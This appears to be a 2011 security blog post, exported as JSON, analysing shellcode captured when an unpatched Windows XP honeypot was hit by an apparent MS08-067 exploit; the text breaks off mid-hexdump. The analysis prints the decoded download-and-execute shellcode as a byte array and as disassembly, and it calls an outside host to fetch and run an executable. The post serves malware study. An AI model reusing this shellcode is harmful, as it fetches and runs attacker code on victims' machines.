{"id":5675,"date":"2011-01-31T20:10:00","date_gmt":"2011-01-31T19:10:00","guid":{"rendered":"http:\/\/www.corelan.be:8800\/?p=5675"},"modified":"2011-01-31T20:10:00","modified_gmt":"2011-01-31T19:10:00","slug":"the-honeypot-incident-how-strong-is-your-uf-reversing-fu","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2011\/01\/31\/the-honeypot-incident-how-strong-is-your-uf-reversing-fu\/","title":{"rendered":"The Honeypot Incident - How strong is your UF (Reversing FU)"},"content":{"rendered":"<h3>Introduction<\/h3>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/bot11.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; margin: 0px 0px 0px 10px; padding-left: 0px; padding-right: 0px; display: inline; float: right; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"bot1\" border=\"0\" alt=\"bot1\" align=\"right\" src=\"\/wp-content\/uploads\/2010\/12\/bot1_thumb1.png\" width=\"105\" height=\"141\" \/><\/a>Interested in capturing, documenting and analyzing scans and malicious activity, Corelan Team decided to set up a honeypot and put it online. In the first week of december 2010, Obzy built a machine (default Windows XP SP3 installation, no patches, firewall turned off), named it &quot;EGYPTS-AIRWAYS&quot;, set up a honeypot + some other monitoring tools, and connected it to the internet.<\/p>\n<p>As expected, we quickly started to see all kinds of traffic\u2026 some of them were obvious port scans, others were less obvious recons or attacks.&#160; Both exciting and interesting\u2026&#160; We could probably spend some time to document the various types of attacks, maybe build a nice table with figures and produce some kick-ass management graphs and do some trends analysis. It would be a fun exercise\u2026<\/p>\n<p>\u2026but nothing beats the real deal.&#160; <\/p>\n<p>Nothing beats the thrill of observing an actual exploit being used, a machine getting hacked, rooted \/ infected, (ab)used,\u2026.<\/p>\n<p>And that's what happened.<\/p>\n<p>Within the first 2 hours after connecting the box to the internet, something happened\u2026.&#160;&#160; The machine was not patched, firewall turned off\u2026 so it got pwned. Hard. Our &quot;sitting duck&quot; was shot\u2026 the honeypot project turned into a live malware analysis lab \ud83d\ude42<\/p>\n<p>&#160;<\/p>\n<h3>Scope &amp; Tools<\/h3>\n<p>What follows below is an analysis of the compromise (initial exploit which staged the infection, and the infection itself).&#160; This post is split into several chapters and stages. We wanted to tell a realistic story of the analysis and not so much explain the analysis, pretending we discovered all of the &quot;goodies&quot; during our first run. That would be not realistic and simply not true. We spent a lot of time on this analysis, had to go back to specific functions &amp; redo some of the analysis. <\/p>\n<p>Note that we did not just run the malware through a behavioural based analysis (sandbox) tool, but we really wanted to know &quot;how&quot; things are done, and not just copy\/paste the report on &quot;what&quot; it does.<\/p>\n<p>We faced a lot of frustrations\u2026 spent a lot of time on it\u2026 and we had to give up in the end (most likely because we are not really seasoned \/ experienced malware analysts).<\/p>\n<p>What you're about to read is a chronological write-up of the analysis steps (and not necessarily the chronological infection).<\/p>\n<p>We will explain how the machine got owned and what happened right after it got owned. We'll try to document the impact to our machine (in terms of infection, behaviour, etc).&#160; We have also tried to reveal how the machine is infected permanently (if that is the case), but as you will find out later, this part of the analysis appeared to be more difficult than anticipated, so this post ends with a challenge for you, the reader.<\/p>\n<p>There are various ways to analyze malware. For the sake of this analysis, we mainly used a quite rudimentary (manual) technique\u2026 we loaded binaries in a debugger and stepped through the individual instructions. Unarguably, this is not only time intensive and rather dangerous, it might also get very complex very fast, and that might make us miss\/ignore things.&#160; Of course, we could have used behavioural analysis tools as our main toolset and merely document WHAT the malware does, and then try to find proof for the behaviour\u2026 but that would make us miss certain things as well.&#160; <\/p>\n<p>You will notice however that, at a certain point in the analysis, we actually had to look at the behaviour in order to fill in the gaps between what we could see in the debugger during the initial runs, and what the malware actually does. That allowed us to go back and look at very specific parts of the malware and look for proof for that specific behaviour. <\/p>\n<p>This explains why we ended up using a couple of simple\/free tools after all, assisting us with revealing some of the missing pieces.<\/p>\n<p>The combination of both (tools + debugger) should allow us to glue most parts together and demonstrate the various techniques that are used by malware to hide (from debuggers, from AV, from users\u2026&#160; from being detected in general)<\/p>\n<p>Analyzing malware is fun, can be frustrating, is important (if you care about what happens behind the curtains), and above all\u2026 it's a great learning experience.<\/p>\n<p>Again, as you will discover, we have not been able to properly document hard proof for all of the malware components. <\/p>\n<p>Read the post so you can see what we did and did not discover, and then check out the last chapter\u2026 &quot;<strong><font color=\"#ffff00\">The Challenge<\/font><\/strong>&quot;<\/p>\n<p>Fasten your seatbelts for an intense ride.<\/p>\n<blockquote>\n<p>Note : links in this document may point to malicious executables.&#160; Pay attention when downloading \/ opening those files !!<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<h3>svchost.exe<\/h3>\n<p>I'm sure you can imagine the thrill we experienced, and picture the look on our faces when we noticed a messagebox popping on the desktop of the honeypot machine.&#160; As we were sorting through events and alerts in the honeypot console, we were already watching the desktop up close. There was absolutely no way we could have missed the crash message stating that the svchost.exe process had crashed unexpectedly.&#160; This obviously set off an alarm bell.&#160; <\/p>\n<p>The reality is that, by the time we could actually read the text on the popup, the machine already got owned and infected\u2026 <\/p>\n<p>At that time, we decided to keep the machine running for a short while (with our monitoring tools still in place), then isolated it (disconnected it from the net), and started the forensic analysis.&#160; <\/p>\n<p>I guess it's unnecessary to state that it would look really bad\u2026 If a service, running with SYSTEM permissions, gets exploited, a lot of nasty things can happen. <\/p>\n<blockquote>\n<p>Note : all simulations &amp; analysis steps below were executed with administrator permissions, and not as SYSTEM.<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<h3>December 2nd, 2010 21:43:52 GMT+1 - the initial compromise<\/h3>\n<p>A wireshark traffic capture of the initial compromise shows this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image2.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb2.png\" width=\"739\" height=\"184\" \/><\/a><\/p>\n<p>This looks like a successful MS08-067 netapi exploit to me (Remember Conficker? You thought netapi exploits were dead &amp; all machines patched &amp; cleaned ?).&#160; Anyways, in the TCP session dump, I noticed a bunch of nops followed by what *might* be shellcode :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image4.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb4.png\" width=\"383\" height=\"313\" \/><\/a><\/p>\n<p>I converted the 'shellcode' to bytes, converted it into a C array and pasted it into a little c application designed to test shellcode (shellcodetest.c). I compiled the code (with Dev-C++) and loaded the compiled binary in a debugger.&#160; <\/p>\n<blockquote>\n<p>Note : you can download a copy of the c script here : <a title=\"http:\/\/redmine.corelan.be:8800\/attachments\/download\/178\/honeypot_incident_payloadtest.c\" href=\"http:\/\/web.archive.org\/web\/20111211034137\/http:\/\/redmine.corelan.be:8800\/attachments\/download\/178\/honeypot_incident_payloadtest.c\">http:\/\/redmine.corelan.be:8800\/attachments\/download\/178\/honeypot_incident_payloadtest.c<\/a>&#160;<\/p>\n<\/blockquote>\n<p>As expected, the captured and extracted payload turned out to be shellcode indeed.&#160; <\/p>\n<p>The first few bytes after the nops represent a typical GetPC stub (making EBX point at the address of FLDZ),&#160; followed by a decoder routine. (XOR [EBX+E],0EE + INC EBX + LOOPD)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image5.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb5.png\" width=\"542\" height=\"286\" \/><\/a><\/p>\n<p>After decoding the payload, this is what we get (at [EBX+E]):<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00402026   E9 E7000000      JMP TestPayl.00402112\n0040202B   6A 30            PUSH 30\n0040202D   59               POP ECX\n0040202E   64:8B01          MOV EAX,DWORD PTR FS:[ECX]\n00402031   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]\n00402034   8B70 1C          MOV ESI,DWORD PTR DS:[EAX+1C]\n00402037   AD               LODS DWORD PTR DS:[ESI]\n00402038   5F               POP EDI\n00402039   8BF7             MOV ESI,EDI\n0040203B   8B68 08          MOV EBP,DWORD PTR DS:[EAX+8]\n0040203E   6A 06            PUSH 6\n00402040   59               POP ECX\n00402041   E8 87000000      CALL TestPayl.004020CD\n00402046  ^E2 F9            LOOPD SHORT TestPayl.00402041\n00402048   87F5             XCHG EBP,ESI\n0040204A   33C0             XOR EAX,EAX\n0040204C   B0 40            MOV AL,40\n0040204E   50               PUSH EAX\n0040204F   66:B8 0010       MOV AX,1000\n00402053   50               PUSH EAX\n00402054   50               PUSH EAX\n00402055   51               PUSH ECX\n00402056   FF55 08          CALL DWORD PTR SS:[EBP+8]\n00402059   97               XCHG EAX,EDI\n0040205A   EB 21            JMP SHORT TestPayl.0040207D\n0040205C   5E               POP ESI\n0040205D   68 E8000000      PUSH 0E8\n00402062   59               POP ECX\n00402063   68 95000000      PUSH 95\n00402068   5A               POP EDX\n00402069   8BDF             MOV EBX,EDI\n0040206B   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[&gt;\n0040206D   33C0             XOR EAX,EAX\n0040206F   50               PUSH EAX\n00402070   50               PUSH EAX\n00402071   03D3             ADD EDX,EBX\n00402073   52               PUSH EDX\n00402074   53               PUSH EBX\n00402075   50               PUSH EAX\n00402076   50               PUSH EAX\n00402077   FF55 04          CALL DWORD PTR SS:[EBP+4]\n0040207A   FF55 10          CALL DWORD PTR SS:[EBP+10]\n0040207D   E8 DAFFFFFF      CALL TestPayl.0040205C\n00402082   8B6C24 04        MOV EBP,DWORD PTR SS:[ESP+4]\n00402086   8DB5 00040000    LEA ESI,DWORD PTR SS:[EBP+400]\n0040208C   68 94000000      PUSH 94\n00402091   8F06             POP DWORD PTR DS:[ESI]\n00402093   56               PUSH ESI\n00402094   FF55 14          CALL DWORD PTR SS:[EBP+14]\n00402097   837E 08 01       CMP DWORD PTR DS:[ESI+8],1\n0040209B   75 2D            JNZ SHORT TestPayl.004020CA\n0040209D   8D45 22          LEA EAX,DWORD PTR SS:[EBP+22]\n004020A0   50               PUSH EAX\n004020A1   FF55 00          CALL DWORD PTR SS:[EBP]\n004020A4   55               PUSH EBP\n004020A5   5E               POP ESI\n004020A6   87EF             XCHG EDI,EBP\n004020A8   83C7 18          ADD EDI,18\n004020AB   8BE8             MOV EBP,EAX\n004020AD   E8 1B000000      CALL TestPayl.004020CD\n004020B2   33C9             XOR ECX,ECX\n004020B4   51               PUSH ECX\n004020B5   51               PUSH ECX\n004020B6   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]\n004020B9   50               PUSH EAX\n004020BA   8D46 29          LEA EAX,DWORD PTR DS:[ESI+29]\n004020BD   50               PUSH EAX\n004020BE   51               PUSH ECX\n004020BF   FF56 18          CALL DWORD PTR DS:[ESI+18]\n004020C2   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]\n004020C5   50               PUSH EAX\n004020C6   50               PUSH EAX\n004020C7   FF56 0C          CALL DWORD PTR DS:[ESI+C]\n004020CA   FF56 10          CALL DWORD PTR DS:[ESI+10]\n004020CD   51               PUSH ECX\n004020CE   56               PUSH ESI\n004020CF   8B75 3C          MOV ESI,DWORD PTR SS:[EBP+3C]\n004020D2   8B7435 78        MOV ESI,DWORD PTR SS:[EBP+ESI+78]\n004020D6   03F5             ADD ESI,EBP\n004020D8   56               PUSH ESI\n004020D9   8B76 20          MOV ESI,DWORD PTR DS:[ESI+20]\n004020DC   03F5             ADD ESI,EBP\n004020DE   33C9             XOR ECX,ECX\n004020E0   49               DEC ECX\n004020E1   41               INC ECX\n004020E2   AD               LODS DWORD PTR DS:[ESI]\n004020E3   03C5             ADD EAX,EBP\n004020E5   33DB             XOR EBX,EBX\n004020E7   0FBE10           MOVSX EDX,BYTE PTR DS:[EAX]\n004020EA   38F2             CMP DL,DH\n004020EC   74 08            JE SHORT TestPayl.004020F6\n004020EE   C1CB 0D          ROR EBX,0D\n004020F1   03DA             ADD EBX,EDX\n004020F3   40               INC EAX\n004020F4  ^EB F1            JMP SHORT TestPayl.004020E7\n004020F6   3B1F             CMP EBX,DWORD PTR DS:[EDI]\n004020F8  ^75 E7            JNZ SHORT TestPayl.004020E1\n004020FA   5E               POP ESI\n004020FB   8B5E 24          MOV EBX,DWORD PTR DS:[ESI+24]\n004020FE   03DD             ADD EBX,EBP\n00402100   66:8B0C4B        MOV CX,WORD PTR DS:[EBX+ECX*2]\n00402104   8B5E 1C          MOV EBX,DWORD PTR DS:[ESI+1C]\n00402107   03DD             ADD EBX,EBP\n00402109   8B048B           MOV EAX,DWORD PTR DS:[EBX+ECX*4]\n0040210C   03C5             ADD EAX,EBP\n0040210E   AB               STOS DWORD PTR ES:[EDI]\n0040210F   5E               POP ESI\n00402110   59               POP ECX\n00402111   C3               RETN\n00402112   E8 14FFFFFF      CALL TestPayl.0040202B<\/pre>\n<p>This is what the code does :<\/p>\n<p>First, the routine between 0x004020CD and 0x00402111 will get the base address of kernel32 and the function pointer to LoadLibraryA :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image8.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb8.png\" width=\"544\" height=\"282\" \/><\/a><\/p>\n<p>After this function ends, we see the function pointer to LoadLibraryA in EAX, and the base address of kernel32.dll in EBP.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image9.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb9.png\" width=\"643\" height=\"184\" \/><\/a><\/p>\n<p>In subsequent runs of the same routine (loop), the function pointer to a few other API's is retrieved and stored at an offset of EBP (which is set to the .data section of the binary in our case. Together with the LoadLibraryA pointer, the stack at EBP looks like this :<\/p>\n<ul>\n<li>pointer to LoadLibrary (EBP) <\/li>\n<li>pointer to CreateThread (EBP+4) <\/li>\n<li>pointer to VirtualAlloc (EBP+8) <\/li>\n<li>pointer to WinExec (EBP+C) <\/li>\n<li>pointer to ExitThread (EBP+10) <\/li>\n<li>pointer to GetVersionA (EBP+14) <\/li>\n<\/ul>\n<p>Next, VirtualAlloc() is called to allocate a memory area of 4096 bytes as RWX. This function returns a pointer to the newly allocated block of memory and stores that pointer in EAX.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image10.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb10.png\" width=\"633\" height=\"74\" \/><\/a><\/p>\n<p>Next, the REP MOVS instruction is used to copy payload from [ESI] to [EDI] (which points to 0x00480000 in the test app). After the copy completes, we can find a copy of the payload at 0x00480000 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image11.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb11.png\" width=\"627\" height=\"408\" \/><\/a><\/p>\n<p>Next, a call to CreateThread is executed, pointing the ThreadFunction parameter to the newly allocated memory \/ copied shellcode at 00480000.&#160; In essence, this function call will create a new thread, which will execute within the virtual address space of the calling process.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image15.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb15.png\" width=\"559\" height=\"117\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image13.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb13.png\" width=\"559\" height=\"92\" \/><\/a><\/p>\n<p>After this call, we see a call to ExitThread() (EBP+10)\u2026<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image52.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image52_thumb.png\" width=\"563\" height=\"143\" \/><\/a><\/p>\n<p>Finally, this first stage will exit\u2026&#160;&#160; Nothing special happened so far, right ?&#160; Well, that's obviously not true. Let's take it one step back\u2026&#160; The child thread actually did something interesting, but it happened a bit outside of the current debugger view.&#160; In fact, the code that was copied to 0x00480000 was executed in a new thread:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">&quot;\\x8B\\x6C\\x24\\x04\\x8D\\xB5\\x00\\x04\\x00\\x00\\x68\\x94\\x00\\x00\\x00\\x8F&quot;\n&quot;\\x06\\x56\\xFF\\x55\\x14\\x83\\x7E\\x08\\x01\\x75\\x2D\\x8D\\x45\\x22\\x50\\xFF&quot;\n&quot;\\x55\\x00\\x55\\x5E\\x87\\xEF\\x83\\xC7\\x18\\x8B\\xE8\\xE8\\x1B\\x00\\x00\\x00&quot;\n&quot;\\x33\\xC9\\x51\\x51\\x8D\\x46\\x1C\\x50\\x8D\\x46\\x29\\x50\\x51\\xFF\\x56\\x18&quot;\n&quot;\\x8D\\x46\\x1C\\x50\\x50\\xFF\\x56\\x0C\\xFF\\x56\\x10\\x51\\x56\\x8B\\x75\\x3C&quot;\n&quot;\\x8B\\x74\\x35\\x78\\x03\\xF5\\x56\\x8B\\x76\\x20\\x03\\xF5\\x33\\xC9\\x49\\x41&quot;\n&quot;\\xAD\\x03\\xC5\\x33\\xDB\\x0F\\xBE\\x10\\x38\\xF2\\x74\\x08\\xC1\\xCB\\x0D\\x03&quot;\n&quot;\\xDA\\x40\\xEB\\xF1\\x3B\\x1F\\x75\\xE7\\xCC\\x8B\\x5E\\x24\\x03\\xDD\\x66\\x8B&quot;\n&quot;\\x0C\\x4B\\x8B\\x5E\\x1C\\x03\\xDD\\x8B\\x04\\x8B\\x03\\xC5\\xAB\\x5E\\x59\\xC3&quot;\n&quot;\\xE8\\x14\\xFF\\xFF\\xFF\\x7B\\x1D\\x80\\x7C\\xD7\\x06\\x81\\x7C\\xF1\\x9A\\x80&quot;\n&quot;\\x7C\\x0D\\x25\\x86\\x7C\\xF8\\xC0\\x80\\x7C\\x7E\\x2B\\x81\\x7C\\x36\\x1A\\x2F&quot;\n&quot;\\x70\\x6C\\x2E\\x65\\x78\\x65\\x00\\x75\\x72\\x6C\\x6D\\x6F\\x6E\\x00\\x68\\x74&quot;\n&quot;\\x74\\x70\\x3A\\x2F\\x2F\\x6C\\x6F\\x67\\x2E\\x79\\x35\\x75\\x2E\\x69\\x6E\\x66&quot;\n&quot;\\x6F\\x3A\\x34\\x34\\x33\\x2F\\x69\\x6D\\x67\\x2E\\x6A\\x70\\x67\\x00\\x00\\x00&quot;;<\/pre>\n<p>Or, in the debugger :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">004021C0   8B6C24 04        MOV EBP,DWORD PTR SS:[ESP+4]\n004021C4   8DB5 00040000    LEA ESI,DWORD PTR SS:[EBP+400]\n004021CA   68 94000000      PUSH 94\n004021CF   8F06             POP DWORD PTR DS:[ESI]\n004021D1   56               PUSH ESI\n004021D2   FF55 14          CALL DWORD PTR SS:[EBP+14]\n004021D5   837E 08 01       CMP DWORD PTR DS:[ESI+8],1\n004021D9   75 2D            JNZ SHORT TestPayl.00402208\n004021DB   8D45 22          LEA EAX,DWORD PTR SS:[EBP+22]\n004021DE   50               PUSH EAX\n004021DF   FF55 00          CALL DWORD PTR SS:[EBP]\n004021E2   55               PUSH EBP\n004021E3   5E               POP ESI\n004021E4   87EF             XCHG EDI,EBP\n004021E6   83C7 18          ADD EDI,18\n004021E9   8BE8             MOV EBP,EAX\n004021EB   E8 1B000000      CALL TestPayl.0040220B\n004021F0   33C9             XOR ECX,ECX\n004021F2   51               PUSH ECX\n004021F3   51               PUSH ECX\n004021F4   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]\n004021F7   50               PUSH EAX\n004021F8   8D46 29          LEA EAX,DWORD PTR DS:[ESI+29]\n004021FB   50               PUSH EAX\n004021FC   51               PUSH ECX\n004021FD   FF56 18          CALL DWORD PTR DS:[ESI+18]\n00402200   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]\n00402203   50               PUSH EAX\n00402204   50               PUSH EAX\n00402205   FF56 0C          CALL DWORD PTR DS:[ESI+C]\n00402208   FF56 10          CALL DWORD PTR DS:[ESI+10]\n0040220B   51               PUSH ECX\n0040220C   56               PUSH ESI\n0040220D   8B75 3C          MOV ESI,DWORD PTR SS:[EBP+3C]\n00402210   8B7435 78        MOV ESI,DWORD PTR SS:[EBP+ESI+78]\n00402214   03F5             ADD ESI,EBP\n00402216   56               PUSH ESI\n00402217   8B76 20          MOV ESI,DWORD PTR DS:[ESI+20]\n0040221A   03F5             ADD ESI,EBP\n0040221C   33C9             XOR ECX,ECX\n0040221E   49               DEC ECX\n0040221F   41               INC ECX\n00402220   AD               LODS DWORD PTR DS:[ESI]\n00402221   03C5             ADD EAX,EBP\n00402223   33DB             XOR EBX,EBX\n00402225   0FBE10           MOVSX EDX,BYTE PTR DS:[EAX]\n00402228   38F2             CMP DL,DH\n0040222A   74 08            JE SHORT TestPayl.00402234\n0040222C   C1CB 0D          ROR EBX,0D\n0040222F   03DA             ADD EBX,EDX\n00402231   40               INC EAX\n00402232  ^EB F1            JMP SHORT TestPayl.00402225\n00402234   3B1F             CMP EBX,DWORD PTR DS:[EDI]\n00402236  ^75 E7            JNZ SHORT TestPayl.0040221F\n00402238   CC               INT3\n00402239   8B5E 24          MOV EBX,DWORD PTR DS:[ESI+24]\n0040223C   03DD             ADD EBX,EBP\n0040223E   66:8B0C4B        MOV CX,WORD PTR DS:[EBX+ECX*2]\n00402242   8B5E 1C          MOV EBX,DWORD PTR DS:[ESI+1C]\n00402245   03DD             ADD EBX,EBP\n00402247   8B048B           MOV EAX,DWORD PTR DS:[EBX+ECX*4]\n0040224A   03C5             ADD EAX,EBP\n0040224C   AB               STOS DWORD PTR ES:[EDI]\n0040224D   5E               POP ESI\n0040224E   59               POP ECX\n0040224F   C3               RETN\n00402250   E8 14FFFFFF      CALL TestPayl.00402169\n00402255   7B 1D            JPO SHORT TestPayl.00402274\n00402257   807CD7 06 81     CMP BYTE PTR DS:[EDI+EDX*8+6],81\n0040225C  ^7C F1            JL SHORT TestPayl.0040224F\n0040225E   9A 807C0D25 867C CALL FAR 7C86:250D7C80                   ; Far call\n00402265   F8               CLC\n00402266   C080 7C7E2B81 7C ROL BYTE PTR DS:[EAX+812B7E7C],7C        ; Shift constant out of range 1..31\n0040226D   36:1A2F          SBB CH,BYTE PTR SS:[EDI]\n00402270   70 6C            JO SHORT TestPayl.004022DE\n00402272   2E:              PREFIX CS:                               ; Superfluous prefix\n00402273   65:78 65         JS SHORT TestPayl.004022DB               ; Superfluous prefix\n00402276   0075 72          ADD BYTE PTR SS:[EBP+72],DH\n00402279   6C               INS BYTE PTR ES:[EDI],DX                 ; I\/O command\n0040227A   6D               INS DWORD PTR ES:[EDI],DX                ; I\/O command\n0040227B   6F               OUTS DX,DWORD PTR ES:[EDI]               ; I\/O command\n0040227C   6E               OUTS DX,BYTE PTR ES:[EDI]                ; I\/O command\n0040227D   0068 74          ADD BYTE PTR DS:[EAX+74],CH\n00402280   74 70            JE SHORT TestPayl.004022F2\n00402282   3A2F             CMP CH,BYTE PTR DS:[EDI]\n00402284   2F               DAS\n00402285   6C               INS BYTE PTR ES:[EDI],DX                 ; I\/O command\n00402286   6F               OUTS DX,DWORD PTR ES:[EDI]               ; I\/O command\n00402287   67:2E:79 35      JNS SHORT TestPayl.004022C0              ; Superfluous prefix\n0040228B   75 2E            JNZ SHORT TestPayl.004022BB\n0040228D   696E 66 6F3A3434 IMUL EBP,DWORD PTR DS:[ESI+66],34343A6F\n00402294   332F             XOR EBP,DWORD PTR DS:[EDI]\n00402296   696D 67 2E6A7067 IMUL EBP,DWORD PTR SS:[EBP+67],67706A2E<\/pre>\n<p>Let's take a closer look at <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms682453(VS.85).aspx\">CreateThread<\/a> :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">HANDLE WINAPI CreateThread(\n  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,\n  __in       SIZE_T dwStackSize,\n  __in       LPTHREAD_START_ROUTINE lpStartAddress,\n  __in_opt   LPVOID lpParameter,\n  __in       DWORD dwCreationFlags,\n  __out_opt  LPDWORD lpThreadId\n);<\/pre>\n<p>In the CreateThread call, we see 2 parameters : <\/p>\n<p>lpStartAddress (0x00480000, pointing at the beginning of the copied payload) and lpParameter (0x00480095, pointing to a location inside the copied payload).&#160; When the CreateThread() function is called (and succeeds), a handle to the new thread is returned. Since lpThreadAttributes is set to zero, this handle cannot be inherited by child processes (which is not an issue here).<\/p>\n<p>So, a new thread will be created, using the data at 0x00480095 as parameter :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00480095  7B 1D 80 7C D7 06 81 7C F1 9A 80 7C 0D 25 86 7C  {\u20ac|\u00d7\u0081|\u00f1\u0161\u20ac|.%\u2020|\n004800A5  F8 C0 80 7C 7E 2B 81 7C 36 1A 2F 70 6C 2E 65 78  \u00f8\u00c0\u20ac|~+\u0081|6\/pl.ex\n004800B5  65 00 75 72 6C 6D 6F 6E 00 68 74 74 70 3A 2F 2F  e.urlmon.http:\/\/\n004800C5  6C 6F 67 2E 79 35 75 2E 69 6E 66 6F 3A 34 34 33  log.y5u.info:443\n004800D5  2F 69 6D 67 2E 6A 70 67                          \/img.jpg<\/pre>\n<p>The first 6 dwords are in fact API pointers (the ones that were originally stored at EBP+offset earlier on) :<\/p>\n<ul>\n<li>7C801D7B : kernel32.LoadLibraryA() <\/li>\n<li>7C8106D7 : kernel32.CreateThread() <\/li>\n<li>7C809AF1 : kernel32.VirtualAlloc() <\/li>\n<li>7C86250D : kernel32.WinExec() <\/li>\n<li>7C80C0F8 : kernel32.ExitThread() <\/li>\n<li>7C812B7E : GetVersionExA() <\/li>\n<\/ul>\n<p>The next dwords represent this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">36 1A 2F 70                      6\/p<\/pre>\n<p>(unclear at this point what this means or what it's used for, but that doesn't really matter).&#160; <\/p>\n<p>Next, we see this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">004800A5                                      6C 2E 65 78              l.ex\n004800B5  65 